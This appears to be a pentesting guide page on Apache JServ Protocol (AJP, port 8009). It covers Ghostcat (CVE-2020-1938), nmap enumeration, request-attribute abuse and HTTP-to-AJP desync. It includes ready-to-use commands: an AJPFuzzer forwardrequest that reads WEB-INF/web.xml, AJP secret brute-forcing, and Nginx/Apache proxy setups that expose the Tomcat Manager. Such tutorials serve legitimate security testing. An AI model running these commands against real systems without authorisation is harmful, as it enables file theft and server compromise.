8009 - Pentesting Apache JServ Protocol (AJP)
Basic Information
The following description comes from DiabloHorn’s overview of the protocol:[3]
AJP is a wire protocol. It is an optimized version of HTTP that allows a standalone web server such as Apache HTTP Server to communicate with Tomcat. The web server can serve static content directly and proxy requests for dynamic content to Tomcat.
Also interesting:
The AJP/1.3 protocol is packet-oriented and uses a binary format. The web server communicates with the servlet container over TCP and can reuse persistent connections for multiple request/response cycles.
Default port: 8009
PORT STATE SERVICE
8009/tcp open ajp13
AJP is usually more interesting than plain HTTP because the backend trusts the proxy to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes address, secret, secretRequired, and allowedRequestAttributesPattern when reviewing an exposed or reachable AJP service.[1]
CVE-2020-1938 (Ghostcat)
Ghostcat is an AJP request-injection vulnerability that can disclose files from a web application, such as WEB-INF/web.xml; depending on application behavior and attacker-controlled files, it could also lead to code execution. Public proof-of-concept implementations show how to test the file-disclosure primitive.[4][5]
The first patched releases were Tomcat 9.0.31, 8.5.51, and 7.0.100.[4][6]
After Ghostcat, default AJP deployments became less attacker-friendly: Tomcat requires an AJP secret by default, listens on loopback by default unless configured otherwise, and rejects unknown forwarded request attributes unless they match allowedRequestAttributesPattern.[1] However, if you can still reach 8009 from an untrusted network, treat it as a high-value target.
Enumeration
Automatic
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
# Ask AJP directly for interesting paths and save the response body
nmap -p 8009 --script ajp-request \
--script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>
# Check allowed methods and headers on a custom path
nmap -p 8009 --script ajp-headers,ajp-methods \
--script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>
Brute force
Manual / Protocol-Aware Tooling
Doyensec’s AJPFuzzer is very useful when you need to craft ForwardRequest packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.[2]
# Reproduce Ghostcat-style file disclosure primitives
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
"Cookie:test=value" \
"javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"
# Fuzz secret handling or attribute parsing
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
"Cookie:AAAA=BBBB" \
"secret:FUZZ" /tmp/ajp_secret_candidates.txt
Request Attributes Abuse
AJP is not just “HTTP over another port”. The protocol can carry trusted request attributes such as authenticated user information, TLS details, client certificate material, and arbitrary req_attribute name/value pairs. Historically, Ghostcat abused javax.servlet.include.servlet_path and javax.servlet.include.path_info to force server-side includes such as /WEB-INF/web.xml.[2]
When assessing an AJP-exposed target, look for applications that make security decisions based on proxy-supplied data such as:
REMOTE_USER/remote_user- Client certificate related attributes (
javax.servlet.request.X509Certificate, cipher, key size, SSL session) - Source address / proxy metadata (
AJP_LOCAL_ADDR,AJP_REMOTE_PORT,AJP_SSL_PROTOCOL) - Custom request attributes consumed via
request.getAttribute()
Modern Tomcat rejects unknown forwarded attributes with 403 unless the name matches allowedRequestAttributesPattern, so a permissive regex or legacy connector configuration is worth investigating.[1]
HTTP -> AJP Desync / Request Smuggling
Even when port 8009 is not directly exposed, AJP may still be reachable through an HTTP reverse proxy such as mod_proxy_ajp. Recent real-world bugs showed that HTTP frontends and AJP backends can disagree about request boundaries, turning an external HTTP desync into a smuggled AJP request.[2]
From an offensive perspective, this is interesting because the backend may trust the smuggled request more than normal HTTP traffic and may honor proxy-populated fields such as authenticated user or SSL metadata. During assessments of Apache httpd -> Tomcat stacks, test for classic desync behavior plus AJP-specific trust boundaries, especially around internal-only paths, auth-gated admin endpoints, and connectors still using old mod_proxy_ajp versions.
AJP Proxy
Nginx Reverse Proxy + AJP
(Checkout the Dockerized version)
It’s possible to communicate with an open AJP proxy port (8009 TCP) by using the Nginx third-party ajp_module and access the Tomcat Manager from this port which could ultimately lead to RCE in the vulnerable server. If the manager or host-manager becomes reachable, continue in this Tomcat page.
- Start downloading Nginx from https://nginx.org/en/download.html and then compile it with the AJP module:
# Compile Nginx with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-version
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
- Then, comment the
serverblock and add the following in thehttpblock in/etc/nginx/conf/nginx.conf.
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
- Finally, start nginx (
sudo nginx) and check it works by accessinghttp://127.0.0.1
Nginx Dockerized-version
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Replace TARGET-IP in nginx.conf with the AJP IP and then build and run:
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Apache AJP Proxy
It’s also possible to use an Apache AJP proxy to access that port instead of Nginx.
a2enmod proxy proxy_ajp
# Basic pivot to the backend AJP listener
ProxyPass / ajp://<TARGET_SERVER>:8009/
ProxyPassReverse / ajp://<TARGET_SERVER>:8009/
# If the backend requires an AJP secret (common in modern Tomcat/httpd)
# ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>